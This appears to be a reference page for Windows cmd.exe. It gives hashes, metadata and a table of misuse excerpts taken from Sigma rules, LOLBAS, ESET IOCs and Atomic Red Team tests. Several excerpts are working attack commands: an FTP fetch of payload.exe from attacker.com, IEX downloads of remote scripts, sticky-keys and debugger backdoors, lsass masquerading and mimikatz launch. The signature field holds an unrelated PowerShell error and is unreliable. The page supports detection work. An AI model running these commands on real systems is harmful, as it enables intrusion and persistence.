cmd.exe

  • File Path: C:\windows\system32\cmd.exe
  • Description: Windows Command Processor

Hashes

Type Hash
MD5 F5AE03DE0AD60F5B17B82F2CD68402FE
SHA1 7C3D7281E1151FE4127923F4B4C3CD36438E1A12
SHA256 6F88FB88FFB0F1D5465C2826E5B4F523598B1B8378377C8378FFEBC171BAD18B
SHA384 FC062C55DF4453425B376F5AD7DC9E78660296BDEC082A4B658F4E0F6B3B7EE7177926F14F7AC175AC844830F6020044
SHA512 28D08D1BF10BCD5FC4C6168189DC63CA0E340B9A254FFB200737E6C0ED7E2175FC0AF28406287F2FC9015B2E00294A1FE4C48B5493720DCEBC443B9A5D42CEE2
SSDEEP 6144:Tuknw6IdOrtDbUngzrlzMA32rOZT+zDwSMm:KaHIArtDbUngzBMA3GOZSzDwL

Signature

  • Status: The file C:\windows\system32\cmd.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
  • Serial: ``
  • Thumbprint: ``
  • Issuer:
  • Subject:

File Metadata

  • Original Filename: Cmd.Exe.MUI
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
  • Product Version: 6.3.9600.16384
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of cmd.exe being misused. While cmd.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\cmd.exe' DRL 1.0
sigma net_susp_dns_txt_exec_strings.yml - 'cmd.exe' DRL 1.0
sigma win_asr_bypass_via_appvlp_re.yml CommandLine\|re: '(?i).*appvlp.exe.*(cmd.exe\|powershell.exe).*(.sh\|.exe\|.dll\|.bin\|.bat\|.cmd\|.js\|.msh\|.reg\|.scr\|.ps\|.vb\|.jar\|.pl\|.inf)' DRL 1.0
sigma win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml # meterpreter getsystem technique 1: cmd.exe /c echo 559891bb017 > \\.\pipe\5e120a DRL 1.0
sigma win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml - 'cmd.exe' DRL 1.0
sigma win_susp_logon_explicit_credentials.yml - '\cmd.exe' DRL 1.0
sigma win_meterpreter_or_cobaltstrike_getsystem_service_installation.yml # meterpreter getsystem technique 1: cmd.exe /c echo 559891bb017 > \\.\pipe\5e120a DRL 1.0
sigma win_meterpreter_or_cobaltstrike_getsystem_service_installation.yml - 'cmd.exe' DRL 1.0
sigma win_susp_rclone_exec.yml - '\cmd.exe' DRL 1.0
sigma driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml # meterpreter getsystem technique 1: cmd.exe /c echo 559891bb017 > \\.\pipe\5e120a DRL 1.0
sigma driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml - 'cmd.exe' DRL 1.0
sigma file_delete_win_delete_backup_file.yml Image\|endswith: cmd.exe DRL 1.0
sigma file_event_win_macro_file.yml - \cmd.exe DRL 1.0
sigma file_event_win_susp_desktop_txt.yml Image\|endswith: \cmd.exe DRL 1.0
sigma file_event_win_susp_ntds_dit.yml - '\cmd.exe' DRL 1.0
sigma file_event_win_win_shell_write_susp_directory.yml - '\cmd.exe' DRL 1.0
sigma image_load_suspicious_dbghelp_dbgcore_load.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_abusing_debug_privilege.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_apt_babyshark.yml - cmd.exe /c taskkill /im cmd.exe DRL 1.0
sigma proc_creation_win_apt_elise.yml Image: 'C:\Windows\SysWOW64\cmd.exe' DRL 1.0
sigma proc_creation_win_apt_greenbug_may20.yml - '8989 -e cmd.exe' DRL 1.0
sigma proc_creation_win_apt_greenbug_may20.yml - 'CSIDL_SYSTEM\cmd.exe' DRL 1.0
sigma proc_creation_win_apt_lazarus_loader.yml - 'cmd.exe /c ' DRL 1.0
sigma proc_creation_win_apt_unc2452_cmds.yml CommandLine\|contains: 'cmd.exe /C ' DRL 1.0
sigma proc_creation_win_attrib_hiding_files.yml ParentImage\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_attrib_hiding_files.yml - igfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe) DRL 1.0
sigma proc_creation_win_cmd_redirect.yml Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_cobaltstrike_process_patterns.yml CommandLine\|contains: '\cmd.exe /C whoami' DRL 1.0
sigma proc_creation_win_cobaltstrike_process_patterns.yml - 'cmd.exe /C echo' DRL 1.0
sigma proc_creation_win_cobaltstrike_process_patterns.yml - 'cmd.exe /c echo' DRL 1.0
sigma proc_creation_win_cobaltstrike_process_patterns.yml Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_commandline_path_traversal.yml title: Cmd.exe CommandLine Path Traversal DRL 1.0
sigma proc_creation_win_commandline_path_traversal.yml description: detects the usage of path traversal in cmd.exe indicating possible command/argument confusion/hijacking DRL 1.0
sigma proc_creation_win_commandline_path_traversal.yml - https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/ DRL 1.0
sigma proc_creation_win_embed_exe_lnk.yml Image: C:\Windows\System32\cmd.exe DRL 1.0
sigma proc_creation_win_exploit_cve_2019_1378.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_exploit_cve_2020_10189.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_exploit_lpe_cve_2021_41379.yml description: Detects signs of the exploitation of LPE CVE-2021-41379 to spawn a cmd.exe with LOCAL_SYSTEM rights DRL 1.0
sigma proc_creation_win_exploit_lpe_cve_2021_41379.yml Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_hack_koadic.yml Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_html_help_spawn.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_impacket_lateralization.yml # cmd.exe /Q /c whoami 1> \\127.0.0.1\ADMIN$\__1567439113.54 2>&1 DRL 1.0
sigma proc_creation_win_impacket_lateralization.yml # cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1567439113.54 2>&1 DRL 1.0
sigma proc_creation_win_impacket_lateralization.yml # "C:\Windows\System32\cmd.exe" /Q /c cd 1> \\127.0.0.1\ADMIN$\__1567442499.05 2>&1 DRL 1.0
sigma proc_creation_win_impacket_lateralization.yml # "C:\Windows\System32\cmd.exe" /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1567520103.71 2>&1 DRL 1.0
sigma proc_creation_win_impacket_lateralization.yml # C:\Windows\system32\cmd.exe /Q /c echo tasklist ^> \\127.0.0.1\C$\__output 2^>^&1 > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat DRL 1.0
sigma proc_creation_win_impacket_lateralization.yml - 'cmd.exe' DRL 1.0
sigma proc_creation_win_impacket_lateralization.yml # cmd.exe /C tasklist /m > C:\Windows\Temp\bAJrYQtL.tmp 2>&1 DRL 1.0
sigma proc_creation_win_local_system_owner_account_discovery.yml - Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_local_system_owner_account_discovery.yml - ' rmdir ' # don't match on 'dir' "C:\Windows\System32\cmd.exe" /q /c rmdir /s /q "C:\Users\XX\AppData\Local\Microsoft\OneDrive\19.232.1124.0005" DRL 1.0
sigma proc_creation_win_malware_trickbot_recon_activity.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_mal_blue_mockingbird.yml Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml # meterpreter getsystem technique 1: cmd.exe /c echo 559891bb017 > \\.\pipe\5e120a DRL 1.0
sigma proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml - 'cmd.exe' DRL 1.0
sigma proc_creation_win_mmc_spawn_shell.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_monitoring_for_persistence_via_bits.yml CommandLine\|re: '(?i).*bitsadmin.*\/SetNotifyCmdLine.*(%COMSPEC%\|cmd.exe\|regsvr32.exe).*' DRL 1.0
sigma proc_creation_win_mshta_spawn_shell.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_netcat_execution.yml - ' --exec cmd.exe ' DRL 1.0
sigma proc_creation_win_office_shell.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_outlook_shell.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_public_folder_parent.yml - 'cmd.exe /c ' DRL 1.0
sigma proc_creation_win_redirect_to_stream.yml Image\|endswith: \cmd.exe DRL 1.0
sigma proc_creation_win_redmimicry_winnti_proc.yml - cmd.exe DRL 1.0
sigma proc_creation_win_renamed_binary.yml - 'cmd.exe' DRL 1.0
sigma proc_creation_win_renamed_binary.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_screenconnect_anomaly.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_shell_spawn_by_java.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_shell_spawn_mshta.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_shell_spawn_susp_program.yml # - '*\cmd.exe' # too many false positives DRL 1.0
sigma proc_creation_win_stickykey_like_backdoor.yml Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml CommandLine: 'copy /y C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe' DRL 1.0
sigma proc_creation_win_susp_cmd_http_appdata.yml Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_copy_lateral_movement.yml Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_copy_system32.yml - 'cmd.exe*/c*copy*\System32\' DRL 1.0
sigma proc_creation_win_susp_copy_system32.yml - False positive when cmd.exe and xcopy.exe are called directly # C:\Windows\System32\cmd.exe /c copy file1 file2 DRL 1.0
sigma proc_creation_win_susp_crackmapexec_execution.yml - 'cmd.exe /Q /c * 1> \\\\*\\*\\* 2>&1' DRL 1.0
sigma proc_creation_win_susp_crackmapexec_execution.yml - 'cmd.exe /C * > \\\\*\\*\\* 2>&1' DRL 1.0
sigma proc_creation_win_susp_crackmapexec_execution.yml - 'cmd.exe /C * > *\\Temp\\* 2>&1' DRL 1.0
sigma proc_creation_win_susp_del.yml #cmd.exe (PID: 1044 cmdline: 'C:\Windows\System32\cmd.exe' /c taskkill /im A8D4.exe /f & timeout /t 6 & del /f /q 'C:\Users\user~1\AppData\Local\Temp\A8D4.exe' & del C:\ProgramData\*.dll & exit DRL 1.0
sigma proc_creation_win_susp_explorer.yml - \cmd.exe DRL 1.0
sigma proc_creation_win_susp_explorer.yml - Legitimate explorer.exe run from cmd.exe DRL 1.0
sigma proc_creation_win_susp_explorer_break_proctree.yml description: Detects a command line process that uses explorer.exe /root, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer DRL 1.0
sigma proc_creation_win_susp_mshta_pattern.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_pester.yml Image\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_psexex_paexec_escalate_system.yml CommandLine\|endswith: ' -s cmd.exe' DRL 1.0
sigma proc_creation_win_susp_psexex_paexec_flags.yml - ' -s cmd.exe' DRL 1.0
sigma proc_creation_win_susp_psexex_paexec_flags.yml - ' -s -i cmd.exe' DRL 1.0
sigma proc_creation_win_susp_rclone_execution.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_regsvr32_anomalies.yml ParentImage\|endswith: '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_schtasks_pattern.yml - 'cmd.exe /c ' DRL 1.0
sigma proc_creation_win_susp_script_exec_from_env_folder.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_script_exec_from_env_folder.yml - 'cmd.exe' DRL 1.0
sigma proc_creation_win_susp_servu_process_pattern.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java_keytool.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_from_mssql.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_from_mssql.yml Image: 'C:\Windows\System32\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_from_mssql.yml CommandLine\|startswith: '"C:\Windows\system32\cmd.exe" ' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_from_winrm.yml - '*\cmd.exe' DRL 1.0
sigma proc_creation_win_susp_spoolsv_child_processes.yml Image\|endswith: \cmd.exe DRL 1.0
sigma proc_creation_win_susp_whoami_anomaly.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_uac_bypass_wmp.yml Image: 'C:\Windows\System32\cmd.exe' DRL 1.0
sigma proc_creation_win_using_settingsynchost_as_lolbin.yml - 'cmd.exe /c' DRL 1.0
sigma proc_creation_win_vmtoolsd_susp_child_process.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_webshell_recon_detection.yml - '\cmd.exe' DRL 1.0
sigma proc_creation_win_webshell_spawn.yml - '\cmd.exe' DRL 1.0
sigma registry_event_asep_reg_keys_modification_currentversion.yml Details\|startswith: 'C:\Windows\system32\cmd.exe /q /c rmdir /s /q "C:\Users\' DRL 1.0
sigma sysmon_always_install_elevated_msi_spawned_cmd_and_powershell_spawned_processes.yml - '\cmd.exe' DRL 1.0
sigma collection_repeat.yml CommandLine: cmd.exe DRL 1.0
LOLBAS Bitsadmin.yml - Command: bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1  
LOLBAS Bitsadmin.yml Description: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command from an Alternate data stream, then resume and complete the job.  
LOLBAS Bitsadmin.yml Description: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.  
LOLBAS Bitsadmin.yml - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset  
LOLBAS Bitsadmin.yml Description: Command for copying cmd.exe to another folder  
LOLBAS Bitsadmin.yml - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset  
LOLBAS Bitsadmin.yml Description: One-liner that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.  
LOLBAS Cmd.yml Name: Cmd.exe  
LOLBAS Cmd.yml - Command: cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat  
LOLBAS Cmd.yml - Command: cmd.exe - < fakefile.doc:payload.bat  
LOLBAS Cmd.yml - Path: C:\Windows\System32\cmd.exe  
LOLBAS Cmd.yml - Path: C:\Windows\SysWOW64\cmd.exe  
LOLBAS Cmd.yml - IOC: cmd.exe executing files from alternate data streams.  
LOLBAS Cmd.yml - IOC: cmd.exe creating/modifying file contents in an alternate data stream.  
LOLBAS Ftp.yml - Command: cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"  
LOLBAS Sc.yml - Command: sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice  
LOLBAS Sc.yml - Command: sc config <existing> binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" & sc start <existing>  
LOLBAS Wmic.yml - Command: wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"  
LOLBAS Wmic.yml Description: Add cmd.exe as a debugger for the osk.exe process. Each time osk.exe is run, cmd.exe will be run as well.  
LOLBAS Advpack.yml - Command: rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"  
LOLBAS Ieadvpack.yml - Command: rundll32 ieadvpack.dll, RegisterOCX "cmd.exe /c calc.exe"  
LOLBAS Shell32.yml - Command: rundll32 SHELL32.DLL,ShellExec_RunDLL "cmd.exe" "/c echo hi"  
LOLBAS Winrm.yml - Command: 'winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985 \nwinrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985'  
LOLBAS Mftrace.yml - Command: Mftrace.exe cmd.exe  
LOLBAS Mftrace.yml Description: Launch cmd.exe as a subprocess of Mftrace.exe.  
LOLBAS Mftrace.yml Usecase: Local execution of cmd.exe as a subprocess of Mftrace.exe.  
malware-ioc badiis.yar $s1 = "cmd.exe" ascii wide © ESET 2014-2018
malware-ioc badiis.yar $s4 = "cmd.exe" © ESET 2014-2018
malware-ioc badiis.yar $s5 = "cmd.exe" © ESET 2014-2018
malware-ioc badiis.yar $s4 = "\\cmd.exe" nocase © ESET 2014-2018
malware-ioc win_apt_invisimole_wdigest_chain.yml CommandLine\|contains: 'rundll32.exe Shell32.dll ShellExec_RunDLL cmd.exe /c mkdir SMRTNTKY\MessageB.txt' © ESET 2014-2018
malware-ioc nukesped_lazarus ==== cmd.exe /c "%s 2>> %s" © ESET 2014-2018
malware-ioc nukesped_lazarus ==== cmd.exe /c "%s >> %s 2>&1" © ESET 2014-2018
malware-ioc nukesped_lazarus ==== cmd.exe /c "%s" > %s 2>&1 © ESET 2014-2018
malware-ioc nukesped_lazarus ==== cmd.exe /c "" > 2>&1 (on stack) © ESET 2014-2018
malware-ioc nukesped_lazarus ==== cmd.exe /c %s >> %s 2>&1 © ESET 2014-2018
atomic-red-team index.md - Atomic Test #1: File and Directory Discovery (cmd.exe) [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #1: File and Directory Discovery (cmd.exe) [windows] MIT License. © 2018 Red Canary
atomic-red-team T1003.003.md wmic /node:”#{target_host}” process call create “cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}” MIT License. © 2018 Red Canary
atomic-red-team T1007.md Upon successful execution, cmd.exe will execute service commands with expected result to stdout. MIT License. © 2018 Red Canary
atomic-red-team T1007.md Upon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in c:\Windows\Temp\service-list.txt.s MIT License. © 2018 Red Canary
atomic-red-team T1010.md Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1012.md Upon successful execution, cmd.exe will perform multiple reg queries. Some will succeed and others will fail (dependent upon OS). MIT License. © 2018 Red Canary
atomic-red-team T1016.md Upon successful execution, cmd.exe will spawn multiple commands to list network configuration settings. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1016.md Upon successful execution, cmd.exe will spawn netsh.exe to list firewall rules. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1016.md Upon successful execution, cmd.exe will spawn ipconfig /all, net config workstation, net view /all /domain, nltest /domain_trusts. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1018.md Upon successful execution, cmd.exe will execute net.exe view and display results of local systems on the network that have file and print sharing enabled. MIT License. © 2018 Red Canary
atomic-red-team T1018.md Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the “Domain Computers” group. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1018.md Upon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1018.md Upon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1018.md Upon successful execution, cmd.exe will execute arp to list out the arp cache. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1018.md Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig. MIT License. © 2018 Red Canary
atomic-red-team T1018.md foreach ($ip in 1..255 | % { “$firstOctet.$secondOctet.$thirdOctet.$_” } ) {cmd.exe /c nslookup $ip} MIT License. © 2018 Red Canary
atomic-red-team T1021.002.md cmd.exe /c “net use \#{computer_name}#{share_name} #{password} /u:#{user_name}” MIT License. © 2018 Red Canary
atomic-red-team T1021.002.md | command_path | File to copy and execute | Path | C:\Windows\System32\cmd.exe| MIT License. © 2018 Red Canary
atomic-red-team T1021.002.md cmd.exe /Q /c #{command_to_execute} 1> \127.0.0.1\ADMIN$#{output_file} 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1027.004.md | input_file | C# code that launches calc.exe from a hidden cmd.exe Window | Path | PathToAtomicsFolder\T1027.004\src\calc.cs| MIT License. © 2018 Red Canary
atomic-red-team T1033.md Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1033.md cmd.exe /C whoami MIT License. © 2018 Red Canary
atomic-red-team T1036.md copy %WINDIR%\System32\cmd.exe /Y %ALLUSERSPROFILE%\cmd.exe MIT License. © 2018 Red Canary
atomic-red-team T1036.md start %ALLUSERSPROFILE%\cmd.exe MIT License. © 2018 Red Canary
atomic-red-team T1036.md del %ALLUSERSPROFILE%\cmd.exe >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1036.003.md Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe. MIT License. © 2018 Red Canary
atomic-red-team T1036.003.md copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe MIT License. © 2018 Red Canary
atomic-red-team T1036.003.md cmd.exe /c %APPDATA%\notepad.exe /B MIT License. © 2018 Red Canary
atomic-red-team T1036.003.md cmd.exe /c %APPDATA%\svchost.exe /B MIT License. © 2018 Red Canary
atomic-red-team T1036.003.md cmd.exe /K %APPDATA%\taskhostw.exe MIT License. © 2018 Red Canary
atomic-red-team T1036.003.md This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder. MIT License. © 2018 Red Canary
atomic-red-team T1036.003.md Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path. MIT License. © 2018 Red Canary
atomic-red-team T1036.003.md copy C:\Windows\System32\cmd.exe C:\lsm.exe MIT License. © 2018 Red Canary
atomic-red-team T1049.md Upon successful execution, cmd.exe will execute netstat, net use and net sessions. Results will output via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1049.md Upon successful execution, cmd.exe will execute sharpview.exe . Results will output via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1053.002.md Executes cmd.exe MIT License. © 2018 Red Canary
atomic-red-team T1053.002.md Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time. MIT License. © 2018 Red Canary
atomic-red-team T1053.005.md schtasks /create /tn “T1053_005_OnLogon” /sc onlogon /tr “cmd.exe /c calc.exe” MIT License. © 2018 Red Canary
atomic-red-team T1053.005.md schtasks /create /tn “T1053_005_OnStartup” /sc onstart /ru system /tr “cmd.exe /c calc.exe” MIT License. © 2018 Red Canary
atomic-red-team T1053.005.md Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10. MIT License. © 2018 Red Canary
atomic-red-team T1053.005.md | task_command | What you want to execute | String | C:\windows\system32\cmd.exe| MIT License. © 2018 Red Canary
atomic-red-team T1053.005.md Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint. MIT License. © 2018 Red Canary
atomic-red-team T1053.005.md Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10. MIT License. © 2018 Red Canary
atomic-red-team T1055.004.md Upon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1055.012.md | hollow_binary_path | Path of the binary to hollow (executable that will run inside the sponsor) | String | C:\Windows\System32\cmd.exe| MIT License. © 2018 Red Canary
atomic-red-team T1057.md Upon successful execution, cmd.exe will execute tasklist.exe to list processes. Output will be via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1059.001.md Powershell.exe “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1’); Invoke-AppPathBypass -Payload ‘C:\Windows\System32\cmd.exe’” MIT License. © 2018 Red Canary
atomic-red-team T1059.001.md C:\Windows\system32\cmd.exe /c “mshta.exe javascript:a=GetObject(‘script:#{url}’).Exec();close()” MIT License. © 2018 Red Canary
atomic-red-team T1070.004.md Delete a single file from the temporary directory using cmd.exe. MIT License. © 2018 Red Canary
atomic-red-team T1070.004.md Recursively delete a folder in the temporary directory using cmd.exe. MIT License. © 2018 Red Canary
atomic-red-team T1083.md - Atomic Test #1 - File and Directory Discovery (cmd.exe) MIT License. © 2018 Red Canary
atomic-red-team T1083.md ## Atomic Test #1 - File and Directory Discovery (cmd.exe) MIT License. © 2018 Red Canary
atomic-red-team T1105.md Upon successful execution, this will rename cmd.exe as svchost.exe and move it to c:\, then execute svchost.exe with output to a txt file. MIT License. © 2018 Red Canary
atomic-red-team T1105.md copy C:\Windows\System32\cmd.exe C:\svchost.exe MIT License. © 2018 Red Canary
atomic-red-team T1110.002.md Start-Process cmd.exe -Args “/c %temp%\7z\7z.exe x %temp%\hashcat6.7z -aoa -o%temp%\hashcat-unzip” -Wait MIT License. © 2018 Red Canary
atomic-red-team T1112.md cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f MIT License. © 2018 Red Canary
atomic-red-team T1112.md cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f MIT License. © 2018 Red Canary
atomic-red-team T1112.md cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f MIT License. © 2018 Red Canary
atomic-red-team T1134.002.md This Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe MIT License. © 2018 Red Canary
atomic-red-team T1134.002.md $PathToAtomicsFolder\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,”cmd.exe”) MIT License. © 2018 Red Canary
atomic-red-team T1204.002.md $macrocode = “ a = Shell("cmd.exe /c choice /C Y /N /D Y /T 3”, vbNormalFocus)” MIT License. © 2018 Red Canary
atomic-red-team T1204.002.md $macrocode = “ Open "#{jse_path}” For Output As #1n Write #1, “WScript.Quit"n Close #1n a = Shell(“cmd.exe /c wscript.exe //E:jscript #{jse_path}", vbNormalFocus)n” MIT License. © 2018 Red Canary
atomic-red-team T1204.002.md $macrocode = “ Open "#{bat_path}” For Output As #1n Write #1, “calc.exe"n Close #1n a = Shell(“cmd.exe /c $bat_path ", vbNormalFocus)n” MIT License. © 2018 Red Canary
atomic-red-team T1207.md $dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList “/c #{psexec_path} /accepteula -d -s #{mimikatz_path} $mimikatzParam” MIT License. © 2018 Red Canary
atomic-red-team T1216.md set comspec=%windir%\System32\cmd.exe MIT License. © 2018 Red Canary
atomic-red-team T1218.003.md Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1546.001.md Change Default File Association From cmd.exe of hta to notepad. MIT License. © 2018 Red Canary
atomic-red-team T1546.001.md Upon successful execution, cmd.exe will change the file association of .hta to notepad.exe. MIT License. © 2018 Red Canary
atomic-red-team T1546.002.md | input_binary | Executable binary to use in place of screensaver for persistence | Path | C:\Windows\System32\cmd.exe| MIT License. © 2018 Red Canary
atomic-red-team T1546.008.md For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with “cmd.exe” (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) MIT License. © 2018 Red Canary
atomic-red-team T1546.008.md Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables. MIT License. © 2018 Red Canary
